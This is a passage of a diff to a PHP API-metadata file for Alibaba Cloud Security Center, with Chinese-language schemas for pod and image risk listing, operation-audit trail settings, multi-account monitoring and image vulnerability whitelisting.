'关闭的规则数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InterceptionType' => [ + 'description' => '集群拦截模式。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RuleCount' => [ + 'description' => '配置的规则总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'OpenRuleCount' => [ + 'description' => '开启防护的规则数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SuggestRuleCount' => [ + 'description' => '建议规则数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InterceptionCount7Day' => [ + 'description' => '近7天拦截（或告警）数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"291B49F9-xxx\\",\\n \\"ClusterRuleSummary\\": {\\n \\"InterceptionSwitch\\": 0,\\n \\"CloseRuleCount\\": 1,\\n \\"InterceptionType\\": 0,\\n \\"RuleCount\\": 10,\\n \\"OpenRuleCount\\": 1,\\n \\"SuggestRuleCount\\": 1,\\n \\"InterceptionCount7Day\\": 10\\n }\\n}","type":"json"}]', + 'title' => '查询微隔离集群规则总览', + ], + 'ListPodRisk' => [ + 'summary' => '获取容器组的安全风险。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询，每页几条，默认值为20。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~182997~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c314aa5b2f208461dad821cdfed82****', + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => 'K8s集群命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'taas', + ], + ], + [ + 'name' => 'AppName', + 'in' => 'query', + 'schema' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'nginx1', + ], + ], + [ + 'name' => 'PodName', + 'in' => 'query', + 'schema' => [ + 'description' => 'Pod名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'abcd-84898334227-p****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '94254AD7-5026-5847-833B-403C2326BD6E', + ], + 'PodRiskList' => [ + 'description' => '容器组安全风险。', + 'type' => 'array', + 'items' => [ + 'description' => '容器组安全风险。', + 'type' => 'object', + 'properties' => [ + 'Pod' => [ + 'description' => '容器组名称。', + 'type' => 'string', + 'example' => 'expoit-xxx-b****', + ], + 'NodeName' => [ + 'description' => '节点名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'ClusterId' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'example' => 'c1d903a628af043659a043af59d89****', + ], + 'PodIp' => [ + 'description' => '容器组IP。', + 'type' => 'string', + 'example' => '172.0.XXX.XXX', + ], + 'CreateTime' => [ + 'description' => '创建时间的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1644283112720', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'test66', + ], + 'Namespace' => [ + 'description' => 'K8s命名空间。', + 'type' => 'string', + 'example' => 'kube-system', + ], + 'VulCount' => [ + 'description' => '容器组的漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AlarmCount' => [ + 'description' => '容器组的告警数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'HcCount' => [ + 'description' => '容器组的基线问题数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InstanceId' => [ + 'description' => '节点的实例ID。', + 'type' => 'string', + 'example' => 'i-7yvdq597****', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '29', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2-', + ], + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"94254AD7-5026-5847-833B-403C2326BD6E\\",\\n \\"PodRiskList\\": [\\n {\\n \\"Pod\\": \\"expoit-xxx-b****\\",\\n \\"NodeName\\": \\"test\\",\\n \\"ClusterId\\": \\"c1d903a628af043659a043af59d89****\\",\\n \\"PodIp\\": \\"172.0.XXX.XXX\\",\\n \\"CreateTime\\": 1644283112720,\\n \\"ClusterName\\": \\"test66\\",\\n \\"Namespace\\": \\"kube-system\\",\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 10,\\n \\"HcCount\\": 1,\\n \\"InstanceId\\": \\"i-7yvdq597****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 29,\\n \\"Count\\": 20,\\n \\"PageSize\\": 0,\\n \\"CurrentPage\\": 1\\n }\\n}","type":"json"}]', + 'title' => '获取容器组的安全风险', + ], + 'ListImageRisk' => [ + 'summary' => '获取容器镜像的安全信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c80f79959fd724a888e1187779b13****', + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'kube-sy****', + ], + ], + [ + 'name' => 'AppName', + 'in' => 'query', + 'schema' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'e****', + ], + ], + [ + 'name' => 'ImageName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'container-***:****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '050ACC7A-D4FD-55C6-B861-BA9569C1****', + ], + 'ImageRiskList' => [ + 'description' => '镜像风险信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像风险信息。', + 'type' => 'object', + 'properties' => [ + 'RepoNamespace' => [ + 'description' => '镜像命名空间。', + 'type' => 'string', + 'example' => 'vultar***', + ], + 'RepoName' => [ + 'description' => '镜像仓库名称。', + 'type' => 'string', + 'example' => 'scan_test', + ], + 'Tag' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'example' => '0.1.0', + ], + 'RegionId' => [ + 'description' => '镜像仓库所在的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Digest' => [ + 'description' => '镜像digest值。', + 'type' => 'string', + 'example' => '3f8efc2184cf1d24936b49c27286a284714b77be34c80c9ee38ca6bf322445****', + ], + 'RepoId' => [ + 'description' => '镜像仓库ID。', + 'type' => 'string', + 'example' => 'crr-bk2l746eyxca1****', + ], + 'RepoType' => [ + 'description' => '仓库类型，取值：'."\n" + ."\n" + .'- `PUBLIC`：公开'."\n" + ."\n" + .'- `PRIVATE`：私有', + 'type' => 'string', + 'example' => 'PRIVATE', + ], + 'RegistryType' => [ + 'description' => '镜像仓类型。取值：'."\n" + ."\n" + .'- **acr**：ACR'."\n" + .'- **harbor**：Harbor'."\n" + .'- **quay**：Quay'."\n" + .'- **CI/CD**：Jenkins', + 'type' => 'string', + 'example' => 'harbor', + ], + 'Endpoints' => [ + 'description' => '镜像服务的Endpoint列表。', + 'type' => 'string', + 'example' => 'https://172.20.XXX.XXX/test', + ], + 'ImageId' => [ + 'description' => '镜像ID。', + 'type' => 'string', + 'example' => 'f922bfeb6960436fe3f0e7b62fc6b9a0b47980986669c367c22433269404****', + ], + 'TagImmutable' => [ + 'description' => '镜像版本不可变性，如果不可变该仓库下除 latest 之外的镜像版本均不可以覆盖。取值：'."\n" + .'- **0**：可变'."\n" + .'- **1**：不可变', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Statistics' => [ + 'description' => '安全事件统计结果。', + 'type' => 'string', + 'example' => '{'."\n" + .' "baselineNum": 0,'."\n" + .' "newSuspicious": 0,'."\n" + .' "vul": 0'."\n" + .'}', + ], + 'ImageAccessType' => [ + 'description' => '镜像仓库注册状态。取值：'."\n" + ."\n" + .'- **IN_SAS**：仓库已经在云安全中心注册'."\n" + .'- **NOT\\_IN\\_SAS**：仓库没有在云安全中心注册', + 'type' => 'string', + 'example' => 'IN_SAS', + ], + 'Image' => [ + 'description' => '镜像。', + 'type' => 'string', + 'example' => '.aliyuncs.com/sas_test/baseline:exploit', + ], + 'Uuid' => [ + 'description' => '镜像的唯一标识。', + 'type' => 'string', + 'example' => '624778f3-5bf2-423c-ac0c-47a62c05****', + ], + 'EndPointList' => [ + 'description' => 'Endpoint信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'Endpoint信息。', + 'type' => 'object', + 'properties' => [ + 'Domains' => [ + 'description' => 'Endpoint域名名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'Endpoint域名。', + 'type' => 'string', + 'example' => '****-registry-registry-intranet.cn-shenzhen.cr.aliyuncs.com', + ], + ], + 'Type' => [ + 'description' => 'Endpoint域名类型。取值：'."\n" + .'- **internet**：公网'."\n" + .'- **intranet**：私网', + 'type' => 'string', + 'example' => 'internet', + ], + ], + ], + ], + 'InternetURLs' => [ + 'description' => '镜像仓库公网访问地址。', + 'type' => 'string', + 'example' => '****registry-registry.cn-shenzhen-finance-1.cr.aliyuncs.com/xxxx/docker-****', + ], + 'VpcURLs' => [ + 'description' => '镜像仓库VPC内访问地址。', + 'type' => 'string', + 'example' => '****-registry-registry-vpc.cn-shenzhen-finance-1.cr.aliyuncs.com/xxxx/docker-****', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"050ACC7A-D4FD-55C6-B861-BA9569C1****\\",\\n \\"ImageRiskList\\": [\\n {\\n \\"RepoNamespace\\": \\"vultar***\\",\\n \\"RepoName\\": \\"scan_test\\",\\n \\"Tag\\": \\"0.1.0\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Digest\\": \\"3f8efc2184cf1d24936b49c27286a284714b77be34c80c9ee38ca6bf322445****\\",\\n \\"RepoId\\": \\"crr-bk2l746eyxca1****\\",\\n \\"RepoType\\": \\"PRIVATE\\",\\n \\"RegistryType\\": \\"harbor\\",\\n \\"Endpoints\\": \\"https://172.20.XXX.XXX/test\\",\\n \\"ImageId\\": \\"f922bfeb6960436fe3f0e7b62fc6b9a0b47980986669c367c22433269404****\\",\\n \\"TagImmutable\\": 0,\\n \\"Statistics\\": \\"{\\\\n\\\\t\\\\\\"baselineNum\\\\\\": 0,\\\\n\\\\t\\\\\\"newSuspicious\\\\\\": 0,\\\\n\\\\t\\\\\\"vul\\\\\\": 0\\\\n}\\",\\n \\"ImageAccessType\\": \\"IN_SAS\\",\\n \\"Image\\": \\".aliyuncs.com/sas_test/baseline:exploit\\",\\n \\"Uuid\\": \\"624778f3-5bf2-423c-ac0c-47a62c05****\\",\\n \\"EndPointList\\": [\\n {\\n \\"Domains\\": [\\n \\"****-registry-registry-intranet.cn-shenzhen.cr.aliyuncs.com\\"\\n ],\\n \\"Type\\": \\"internet\\"\\n }\\n ],\\n \\"InternetURLs\\": \\"****registry-registry.cn-shenzhen-finance-1.cr.aliyuncs.com/xxxx/docker-****\\",\\n \\"VpcURLs\\": \\"****-registry-registry-vpc.cn-shenzhen-finance-1.cr.aliyuncs.com/xxxx/docker-****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 23,\\n \\"Count\\": 3,\\n \\"PageSize\\": 20,\\n \\"CurrentPage\\": 1\\n }\\n}","type":"json"}]', + 'title' => '获取容器镜像的安全信息', + ], + 'DeleteServiceTrail' => [ + 'summary' => '删除操作审计数据投递。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '160789', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '云安全中心实例地域。取值为：'."\n" + ."\n" + .'- **cn-hangzhou：** 中心'."\n" + .'- **ap-southeast-1：** 新加坡', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\"\\n}","type":"json"}]', + 'title' => '删除操作审计数据投递', + ], + 'GetServiceTrail' => [ + 'summary' => '获取操作审计数据投递。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的实例所在地域的ID。取值：'."\n" + ."\n" + .'- **cn-hangzhou**：中心'."\n" + .'- **ap-southeast-1**：新加坡', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', + ], + 'ServiceTrail' => [ + 'description' => '服务跟踪配置信息。', + 'type' => 'object', + 'properties' => [ + 'Config' => [ + 'description' => '服务跟踪开启状态。取值为：'."\n" + ."\n" + .'- **on：** 开启'."\n" + .'- **off：** 关闭', + 'type' => 'string', + 'example' => 'on', + ], + 'CreateTime' => [ + 'description' => '服务跟踪创建时间戳，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1687250241000', + ], + 'UpdateTime' => [ + 'description' => '服务最近更新时间戳，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1687250241000', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\",\\n \\"ServiceTrail\\": {\\n \\"Config\\": \\"on\\",\\n \\"CreateTime\\": 1687250241000,\\n \\"UpdateTime\\": 1687250241000\\n }\\n}","type":"json"}]', + 'title' => '获取操作审计数据投递', + ], + 'CreateServiceTrail' => [ + 'summary' => '创建服务跟踪。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '160790', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的实例所在地域的ID。取值：'."\n" + ."\n" + .'- **cn-hangzhou**（默认值）：中国。'."\n" + .'- **ap-southeast-1**：全球（不含中国）。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'ServiceRoleNotEnabled', + 'errorMessage' => 'Service role not enabled.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\"\\n}","type":"json"}]', + 'title' => '创建操作审计数据投递', + 'description' => '**操作审计数据投递**功能需要授权云安全态势管理及安全告警读取操作审计的相关数据，因此需要在云安全中心控制台打开**操作审计数据投递**开关，授权使用云安全中心的服务相关角色（**AliyunServiceRoleForSas**），才能将操作审计的数据投递到云安全中心的LogStore中。'."\n" + .'查看云安全中心的服务关联角色**AliyunServiceRoleForSas**说明，请参见[云安全中心服务关联角色](~~460226~~)。'."\n" + .'### 前提条件 ###'."\n" + .'使用该接口前，必须已打开**操作审计数据投递**开关。具体操作，请参见[访问控制](~~197302~~)。', + 'extraInfo' => '如果在调用接口**CreateServiceTrail**时，收到返回报错`ErrorCode: -103`且报错信息中包含`illegal auth`内容，说明在云安全中心控制台的**操作审计数据投递**开关未被打开。'."\n" + ."\n" + .'您需要打开**操作审计数据投递**开关，具体操作，请参见[访问控制](~~197302~~)。', + ], + 'DeleteBinarySecurityPolicy' => [ + 'summary' => '容器签名中删除二进制安全策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '42.120.XXX.XXX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '二进制策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'policy-auto-bfu7pm', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A6CFADC0-1167-521A-9284-8CD8034C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A6CFADC0-1167-521A-9284-8CD8034C****\\"\\n}","type":"json"}]', + 'title' => '删除二进制安全策略', + ], + 'DescribeMonitorAccounts' => [ + 'summary' => '查询多账号管理监控账号列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92140', + 'abilityTreeNodes' => [ + 'FEATUREsasFVYNUW', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', + ], + 'AccountIds' => [ + 'description' => '成员账号ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '成员账号ID。', + 'type' => 'string', + 'example' => '179787636344****', + ], + ], + 'AccountIdInfos' => [ + 'description' => '成员账号信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'AccountId' => [ + 'description' => '成员的阿里云账号ID。', + 'type' => 'string', + 'example' => '119593010538****', + ], + 'OperatorUid' => [ + 'description' => '管理员的阿里云账号ID。', + 'type' => 'string', + 'example' => '106635707417****', + ], + 'AddTime' => [ + 'description' => '加入管控列表的时间，单位到秒的时间戳', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1760520684000', + ], + 'SasVersion' => [ + 'description' => '已购买的云安全中心版本。 取值：'."\n" + ."\n" + .'- **0**或**1**：免费版'."\n" + .'- **2**或**3**：企业版 '."\n" + .'- **5**：高级版 '."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'type' => 'string', + 'example' => '7', + ], + 'PostBasicService' => [ + 'description' => '基础服务开关。 取值：'."\n" + .'- **0**：关'."\n" + .'- **1**：开', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"AccountIds\\": [\\n \\"179787636344****\\"\\n ],\\n \\"AccountIdInfos\\": [\\n {\\n \\"AccountId\\": \\"119593010538****\\",\\n \\"OperatorUid\\": \\"106635707417****\\",\\n \\"AddTime\\": 1760520684000,\\n \\"SasVersion\\": \\"7\\",\\n \\"PostBasicService\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询多账号管控账号列表', + ], + 'AddImageVulWhiteList' => [ + 'summary' => '添加镜像漏洞的白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + ], + 'parameters' => [ + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '操作目标。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **type**：目标类型，固定为repo'."\n" + .'- **target**：目标内容，格式：命名空间/镜像仓', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"sas_test/script_0209\\",\\"sas_test/script\\"]}', + ], + ], + [ + 'name' => 'Whitelist', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **Type**：漏洞类型：cve/sca'."\n" + .'- **Name**：漏洞公告中的名称'."\n" + .'- **AliasName**：漏洞公告中的别名', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"Type\\":\\"sca\\",\\"Name\\":\\"imgsca:java:spring-core:AVD-2022-1124599\\",\\"AliasName\\":\\"Spring Framework JDK >= 9 (CVE-2022-22965)\\"}]', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞类型。取值包括：'."\n" + .'- **cve**：系统漏洞'."\n" + .'- **sca**：应用漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'description' => '添加白名单原因说明。', + 'type' => 'string', + 'required' => false, + 'example' => 'already config in another way', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为zh。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单来源。取值：'."\n" + .'- **image**：镜像'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '请求返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回的处理结果。'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 